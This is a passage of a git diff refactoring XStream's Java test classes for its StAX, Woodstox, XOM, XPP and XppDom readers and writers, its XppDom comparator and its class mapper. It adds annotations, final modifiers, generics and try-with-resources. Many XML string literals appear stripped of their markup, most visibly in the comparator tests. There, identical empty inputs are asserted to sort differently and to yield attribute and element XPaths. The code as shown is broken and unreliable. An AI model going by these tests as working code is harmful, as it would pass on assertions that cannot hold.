getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } - // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { - return driver.createReader(new StringReader(xml)); + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxDriverTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxDriverTest.java index 3b1022b27..34c80614d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxDriverTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxDriverTest.java @@ -1,27 +1,27 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. July 2006 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; -import com.bea.xml.stream.MXParserFactory; -import com.bea.xml.stream.XMLOutputFactoryBase; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.io.StreamException; - import javax.xml.stream.XMLInputFactory; import javax.xml.stream.XMLOutputFactory; import javax.xml.stream.XMLStreamException; import javax.xml.stream.XMLStreamReader; import javax.xml.stream.XMLStreamWriter; +import com.bea.xml.stream.MXParserFactory; +import com.bea.xml.stream.XMLOutputFactoryBase; +import com.thoughtworks.acceptance.AbstractAcceptanceTest; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.StreamException; + /** * @author Jörg Schaible @@ -31,28 +31,45 @@ private static class MyStaxDriver extends StaxDriver { public boolean createStaxWriterCalled = false; public boolean createStaxReaderCalled = false; - public StaxWriter createStaxWriter(XMLStreamWriter out) throws StreamException { + @Override + public StaxWriter createStaxWriter(final XMLStreamWriter out) throws StreamException { createStaxWriterCalled = true; try { return super.createStaxWriter(out); - } catch (XMLStreamException e) { + } catch (final XMLStreamException e) { throw new StreamException(e); } } - public AbstractPullReader createStaxReader(XMLStreamReader in) { + @Override + public AbstractPullReader createStaxReader(final XMLStreamReader in) { createStaxReaderCalled = true; return super.createStaxReader(in); } } public void testCanOverloadStaxReaderAndWriterInstantiation() { + final String staxInput = System.getProperty(XMLInputFactory.class.getName()); + final String staxOutput = System.getProperty(XMLOutputFactory.class.getName()); System.setProperty(XMLInputFactory.class.getName(), MXParserFactory.class.getName()); System.setProperty(XMLOutputFactory.class.getName(), XMLOutputFactoryBase.class.getName()); - final MyStaxDriver driver = new MyStaxDriver(); - xstream = new XStream(driver); - assertBothWays("Hi", "Hi"); - assertTrue(driver.createStaxReaderCalled); - assertTrue(driver.createStaxWriterCalled); + try { + final MyStaxDriver driver = new MyStaxDriver(); + xstream = new XStream(driver); + assertBothWays("Hi", "Hi"); + assertTrue(driver.createStaxReaderCalled); + assertTrue(driver.createStaxWriterCalled); + } finally { + if (staxInput != null) { + System.setProperty(XMLInputFactory.class.getName(), staxInput); + } else { + System.clearProperty(XMLInputFactory.class.getName()); + } + if (staxOutput != null) { + System.setProperty(XMLOutputFactory.class.getName(), staxOutput); + } else { + System.clearProperty(XMLOutputFactory.class.getName()); + } + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxReaderTest.java index 8f6d0f866..fc83e92db 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/StaxReaderTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2016, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,17 +11,25 @@ */ package com.thoughtworks.xstream.io.xml; -import java.io.StringReader; - import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -public class StaxReaderTest extends AbstractXMLReaderTest { +public class StaxReaderTest extends AbstractStaxReaderTest { + @Override + protected StaxDriver createDriver(final QNameMap qnameMap) { + return new StaxDriver(qnameMap); + } + @Override protected HierarchicalStreamReader createReader(final String xml) throws Exception { - final StaxDriver driver = new StaxDriver(); - return driver.createReader(new StringReader(xml)); + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return super.createReader(prefix + xml); + } + + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); } @Override @@ -53,5 +61,20 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxReaderTest.java index 033d3c667..52fab509e 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxReaderTest.java @@ -1,28 +1,35 @@ /* - * Copyright (C) 2011, 2015, 2016 XStream Committers. + * Copyright (C) 2011, 2015, 2016, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. September 2011 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; import com.thoughtworks.xstream.XStreamException; -import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import java.io.StringReader; -public class WstxReaderTest extends AbstractXMLReaderTest { - - private HierarchicalStreamDriver driver = new WstxDriver(); +public class WstxReaderTest extends AbstractStaxReaderTest { + + @Override + protected StaxDriver createDriver(final QNameMap qnameMap) { + return new WstxDriver(qnameMap); + } + + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return super.createReader(prefix + xml); + } - // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { - return driver.createReader(new StringReader(xml)); + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); } @Override @@ -51,5 +58,15 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } + @Override + public void testNullCharacterInValue() throws Exception { + // Is not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // Is not possible, character is invalid in XML + } + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxWriterTest.java index 3a0b9ee26..5bb2c2290 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/WstxWriterTest.java @@ -1,31 +1,33 @@ /* - * Copyright (C) 2007, 2009, 2011 XStream Committers. + * Copyright (C) 2007, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. September 2011 by Joerg Schaible, renamed from WoodstoxStaxWriterTest */ package com.thoughtworks.xstream.io.xml; +import javax.xml.stream.XMLOutputFactory; + import com.ctc.wstx.stax.WstxOutputFactory; -import javax.xml.stream.XMLOutputFactory; public final class WstxWriterTest extends AbstractStaxWriterTest { + @Override protected void assertXmlProducedIs(String expected) { - if (!staxDriver.isRepairingNamespace() || perlUtil.match("#<\\w+:\\w+(>| xmlns:\\w+=)#", expected)) { - expected = perlUtil.substitute("s# xmlns=\"\"##g", expected); + if (!staxDriver.isRepairingNamespace() || expected.matches("<\\w+:\\w+ xmlns:\\w+=.+")) { + expected = expected.replaceAll(" xmlns=\"\"", ""); } - expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2 />#g", expected); - expected = replaceAll(expected, " ", " "); - expected = replaceAll(expected, ">", ">"); // Woodstox bug !! + expected = expected.replace(" ", " "); + expected = expected.replace(">", ">"); // unusual behavior in Woodstox, but allowed in spec expected = getXMLHeader() + expected; assertEquals(expected, buffer.toString()); } + @Override protected String getXMLHeader() { return ""; } @@ -34,7 +36,8 @@ protected XMLOutputFactory getOutputFactory() { return new WstxOutputFactory(); } + @Override protected StaxDriver getStaxDriver() { return new WstxDriver(); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/XomReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/XomReaderTest.java index 9d91811bd..9f84e8240 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/XomReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/XomReaderTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,7 +13,6 @@ import java.io.StringReader; -import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import nu.xom.Builder; @@ -28,6 +27,11 @@ public class XomReaderTest extends AbstractXMLReaderTest { protected HierarchicalStreamReader createReader(final String xml) throws Exception { return new XomDriver().createReader(new StringReader(xml)); } + + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } public void testCanReadFromElementOfLargerDocument() throws Exception { final String xml = "" @@ -41,10 +45,11 @@ public void testCanReadFromElementOfLargerDocument() throws Exception { final Document document = new Builder().build(new StringReader(xml)); final Element element = document.getRootElement().getFirstChildElement("small"); - final HierarchicalStreamReader xmlReader = new XomReader(element); - assertEquals("small", xmlReader.getNodeName()); - xmlReader.moveDown(); - assertEquals("tiny", xmlReader.getNodeName()); + try (final HierarchicalStreamReader xmlReader = new XomReader(element)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } @Override @@ -59,6 +64,30 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { // super.testIsXXEVulnerableWithExternalParameterEntity(); } - // inherits tests from superclass + @Override + public void testNullCharacterInValue() throws Exception { + // Is not possible, null value is invalid in XML + } + + @Override + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + // no support for XML 1.1 + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testISOControlCharactersInValue() throws Exception { + // not possible, only supported in XML 1.1 + } + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/XomWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/XomWriterTest.java index 5ff234922..4b5ba1c53 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/XomWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/XomWriterTest.java @@ -1,27 +1,30 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; import nu.xom.Element; -public class XomWriterTest extends AbstractDocumentWriterTest { +public class XomWriterTest extends AbstractDocumentWriterTest { + + @Override protected void setUp() throws Exception { super.setUp(); writer = new XomWriter(); } - protected DocumentReader createDocumentReaderFor(final Object node) { - return new XomReader((Element)node); + @Override + protected DocumentReader createDocumentReaderFor(final Element node) { + return new XomReader(node); } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/Xpp3ReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/Xpp3ReaderTest.java index d2c18e1df..fefeb0c51 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/Xpp3ReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/Xpp3ReaderTest.java @@ -1,27 +1,29 @@ /* - * Copyright (C) 2011, 2015, 2016 XStream Committers. + * Copyright (C) 2011, 2015, 2016, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. September 2011 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; +import java.io.StringReader; + import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import java.io.StringReader; public class Xpp3ReaderTest extends AbstractXMLReaderTest { - - private HierarchicalStreamDriver driver = new Xpp3Driver(); + + private final HierarchicalStreamDriver driver = new Xpp3Driver(); // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { return driver.createReader(new StringReader(xml)); } @@ -37,6 +39,11 @@ public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { } } } + + @Override + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + // no support for XML 1.1 + } // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomReaderTest.java index afaa22d1c..5ba37ce53 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomReaderTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2015, 2016, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -23,12 +23,17 @@ public class XppDomReaderTest extends AbstractXMLReaderTest { @Override - protected HierarchicalStreamReader createReader(final String xml) throws Exception { - return new Xpp3DomDriver().createReader(new StringReader(xml)); + protected HierarchicalStreamReader createReader(String xml) throws Exception { + // kXml2 fails to replace tab characters in attributes to space as required by XML spec + if (xml.indexOf('\t') >= 0) { + xml = xml.replace('\t', ' '); + } + return new KXml2DomDriver().createReader(new StringReader(xml)); } public void testCanReadFromElementOfLargerDocument() throws Exception { - final String xml = "" + final String xml = "" + + "" + " " + " " + " " @@ -37,16 +42,13 @@ public void testCanReadFromElementOfLargerDocument() throws Exception { + ""; final XppDom document = XppFactory.buildDom(xml); - final XppDom small = document.getChild("small"); - final HierarchicalStreamReader xmlReader = new XppDomReader(small); - - assertEquals("small", xmlReader.getNodeName()); - - xmlReader.moveDown(); - - assertEquals("tiny", xmlReader.getNodeName()); + try (final HierarchicalStreamReader xmlReader = new XppDomReader(small)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } @Override @@ -54,27 +56,29 @@ public void testExposesAttributesKeysAndValuesByIndex() throws Exception { // overrides test in superclass, because XppDom does not retain order of actualAttributes. - final HierarchicalStreamReader xmlReader = createReader(""); + try (final HierarchicalStreamReader xmlReader = createReader( + "")) { - assertEquals(3, xmlReader.getAttributeCount()); + assertEquals(3, xmlReader.getAttributeCount()); - final Map expectedAttributes = new HashMap(); - expectedAttributes.put("hello", "world"); - expectedAttributes.put("a", "b"); - expectedAttributes.put("c", "d"); + final Map expectedAttributes = new HashMap<>(); + expectedAttributes.put("hello", "world"); + expectedAttributes.put("a", "b"); + expectedAttributes.put("c", "d"); - final Map actualAttributes = new HashMap(); - for (int i = 0; i < xmlReader.getAttributeCount(); i++) { - final String name = xmlReader.getAttributeName(i); - final String value = xmlReader.getAttribute(i); - actualAttributes.put(name, value); - } + final Map actualAttributes = new HashMap<>(); + for (int i = 0; i < xmlReader.getAttributeCount(); i++) { + final String name = xmlReader.getAttributeName(i); + final String value = xmlReader.getAttribute(i); + actualAttributes.put(name, value); + } - assertEquals(expectedAttributes, actualAttributes); + assertEquals(expectedAttributes, actualAttributes); - xmlReader.moveDown(); - assertEquals("empty", xmlReader.getNodeName()); - assertEquals(0, xmlReader.getAttributeCount()); + xmlReader.moveDown(); + assertEquals("empty", xmlReader.getNodeName()); + assertEquals(0, xmlReader.getAttributeCount()); + } } @Override @@ -84,10 +88,11 @@ public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { fail("Thrown " + XStreamException.class.getName() + " expected"); } catch (final XStreamException e) { final String message = e.getCause().getMessage(); - if (!message.contains("resolve entity")) { + if (!message.contains("resolve")) { throw e; } } } + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomWriterTest.java index ca6db8191..d412fb730 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppDomWriterTest.java @@ -1,29 +1,32 @@ /* - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 19. October 2006 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; import com.thoughtworks.xstream.io.xml.xppdom.XppDom; + /** * @author Jörg Schaible */ -public class XppDomWriterTest extends AbstractDocumentWriterTest { +public class XppDomWriterTest extends AbstractDocumentWriterTest { + @Override protected void setUp() throws Exception { super.setUp(); writer = new XppDomWriter(); } - protected DocumentReader createDocumentReaderFor(Object node) { - return new XppDomReader((XppDom)node); + @Override + protected DocumentReader createDocumentReaderFor(final XppDom node) { + return new XppDomReader(node); } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppReaderTest.java index f0cf9067e..3e3bdf6bc 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/XppReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/XppReaderTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2016, 2018, 2019, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,11 +16,13 @@ import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import io.github.xstream.mxparser.MXParser; + public class XppReaderTest extends AbstractXMLReaderTest { @Override protected HierarchicalStreamReader createReader(final String xml) throws Exception { - return new XppReader(new StringReader(xml)); + return new XppReader(new StringReader(xml), XppDriver.createDefaultParser()); } @Override @@ -35,6 +37,14 @@ public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { } } } + + @Override + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + // no support for XML 1.1 if XPP implementation is Xpp3 + if (!(XppDriver.createDefaultParser() instanceof MXParser)) { + super.testSupportsFieldsWithSpecialCharsInXml11(); + } + } // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/xppdom/XppDomComparatorTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/xppdom/XppDomComparatorTest.java index 213fffcc2..2be4e4747 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/xppdom/XppDomComparatorTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/xppdom/XppDomComparatorTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 11. August 2011 by Joerg Schaible. */ @@ -13,32 +13,30 @@ import java.util.Comparator; -import com.thoughtworks.xstream.io.xml.xppdom.XppDom; -import com.thoughtworks.xstream.io.xml.xppdom.XppFactory; - import junit.framework.TestCase; /** * Tests {@link XppDomComparator}. - * + * * @author Jörg Schaible */ public class XppDomComparatorTest extends TestCase { // ~ Instance fields -------------------------------------------------------- - private ThreadLocal xpath; + private ThreadLocal xpath; private XppDomComparator comparator; // ~ Methods ---------------------------------------------------------------- + @Override protected void setUp() throws Exception { super.setUp(); - xpath = new ThreadLocal(); + xpath = new ThreadLocal<>(); comparator = new XppDomComparator(xpath); } - private void assertEquals(Comparator comparator, Object o1, Object o2) { + private void assertEquals(final Comparator comparator, final XppDom o1, final XppDom o2) { if (comparator.compare(o1, o2) != 0) { fail("Cpmarator claims '" + o1 + "' to be different from '" + o2 + "'"); } @@ -46,25 +44,25 @@ private void assertEquals(Comparator comparator, Object o1, Object o2) { /** * Tests comparison of empty document. - * + * * @throws Exception unexpected */ public void testEqualsEmptyDocuments() throws Exception { final String xml = ""; - XppDom dom1 = XppFactory.buildDom(xml); - XppDom dom2 = XppFactory.buildDom(xml); + final XppDom dom1 = XppFactory.buildDom(xml); + final XppDom dom2 = XppFactory.buildDom(xml); assertEquals(comparator, dom1, dom2); assertNull(xpath.get()); } /** * Tests comparison of different values. - * + * * @throws Exception unexpected */ public void testSortsElementsWithDifferentValue() throws Exception { - XppDom dom1 = XppFactory.buildDom("value1"); - XppDom dom2 = XppFactory.buildDom("value2"); + final XppDom dom1 = XppFactory.buildDom("value1"); + final XppDom dom2 = XppFactory.buildDom("value2"); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom::text()", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -73,12 +71,12 @@ public void testSortsElementsWithDifferentValue() throws Exception { /** * Tests comparison of a value and null. - * + * * @throws Exception unexpected */ public void testSortsElementsWithValueAndNull() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom("value"); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom("value"); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom::text()", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -87,37 +85,37 @@ public void testSortsElementsWithValueAndNull() throws Exception { /** * Tests comparison of attributes. - * + * * @throws Exception unexpected */ public void testEqualsAttributes() throws Exception { final String xml = ""; - XppDom dom1 = XppFactory.buildDom(xml); - XppDom dom2 = XppFactory.buildDom(xml); + final XppDom dom1 = XppFactory.buildDom(xml); + final XppDom dom2 = XppFactory.buildDom(xml); assertEquals(comparator, dom1, dom2); assertNull(xpath.get()); } /** * Tests comparison of attributes in different order. - * + * * @throws Exception unexpected */ public void testEqualsAttributesInDifferentOrder() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(comparator, dom1, dom2); assertNull(xpath.get()); } /** * Tests comparison of same attributes with different values. - * + * * @throws Exception unexpected */ public void testSortsSameAttributes() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom[@a]", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -126,12 +124,12 @@ public void testSortsSameAttributes() throws Exception { /** * Tests comparison of different attributes. - * + * * @throws Exception unexpected */ public void testSortsDifferentAttributes() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom[@a?]", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -140,12 +138,12 @@ public void testSortsDifferentAttributes() throws Exception { /** * Tests comparison of different number of attributes. - * + * * @throws Exception unexpected */ public void testSortsAccordingNumberOfAttributes() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom::count(@*)", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -154,25 +152,25 @@ public void testSortsAccordingNumberOfAttributes() throws Exception { /** * Tests comparison of document with children. - * + * * @throws Exception unexpected */ public void testEqualsDocumentsWithChildren() throws Exception { final String xml = ""; - XppDom dom1 = XppFactory.buildDom(xml); - XppDom dom2 = XppFactory.buildDom(xml); + final XppDom dom1 = XppFactory.buildDom(xml); + final XppDom dom2 = XppFactory.buildDom(xml); assertEquals(comparator, dom1, dom2); assertNull(xpath.get()); } /** * Tests comparison of different number of children. - * + * * @throws Exception unexpected */ public void testSortsAccordingNumberOfChildren() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom::count(*)", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -181,12 +179,12 @@ public void testSortsAccordingNumberOfChildren() throws Exception { /** * Tests comparison of different elements. - * + * * @throws Exception unexpected */ public void testSortsElementsByName() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom/a[0]?", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -195,12 +193,12 @@ public void testSortsElementsByName() throws Exception { /** * Tests comparison of different nth elements. - * + * * @throws Exception unexpected */ public void testSortsElementsByNthName() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom/a[1]?", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -209,12 +207,12 @@ public void testSortsElementsByNthName() throws Exception { /** * Tests comparison sorts attributes before elements. - * + * * @throws Exception unexpected */ public void testSortsAttributesBeforeElements() throws Exception { - XppDom dom1 = XppFactory.buildDom(""); - XppDom dom2 = XppFactory.buildDom(""); + final XppDom dom1 = XppFactory.buildDom(""); + final XppDom dom2 = XppFactory.buildDom(""); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom[@x]", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -223,12 +221,12 @@ public void testSortsAttributesBeforeElements() throws Exception { /** * Tests comparison will reset XPath after recursion. - * + * * @throws Exception unexpected */ public void testWillResetXPathAfterRecursion() throws Exception { - XppDom dom1 = XppFactory.buildDom("foo"); - XppDom dom2 = XppFactory.buildDom("foo"); + final XppDom dom1 = XppFactory.buildDom("foo"); + final XppDom dom2 = XppFactory.buildDom("foo"); assertEquals(-1, comparator.compare(dom1, dom2)); assertEquals("/dom/c[0][@x]", xpath.get()); assertEquals(1, comparator.compare(dom2, dom1)); @@ -237,14 +235,14 @@ public void testWillResetXPathAfterRecursion() throws Exception { /** * Tests comparison of empty document. - * + * * @throws Exception unexpected */ public void testCompareWithoutReference() throws Exception { - comparator = new XppDomComparator(); + comparator = new XppDomComparator(); final String xml = ""; - XppDom dom1 = XppFactory.buildDom(xml); - XppDom dom2 = XppFactory.buildDom(xml); + final XppDom dom1 = XppFactory.buildDom(xml); + final XppDom dom2 = XppFactory.buildDom(xml); assertEquals(comparator, dom1, dom2); assertNull(xpath.get()); } diff --git a/xstream/src/test/com/thoughtworks/xstream/mapper/DefaultClassMapperTest.java b/xstream/src/test/com/thoughtworks/xstream/mapper/DefaultClassMapperTest.java index 1182419db..b3d6fa428 100644 --- a/xstream/src/test/com/thoughtworks/xstream/mapper/DefaultClassMapperTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/mapper/DefaultClassMapperTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. January 2005 by Joe Walnes */ package com.thoughtworks.xstream.mapper; @@ -16,27 +16,28 @@ import junit.framework.TestCase; + public class DefaultClassMapperTest extends TestCase { private Mapper mapper; + @Override protected void setUp() throws Exception { super.setUp(); - mapper = new ArrayMapper(new 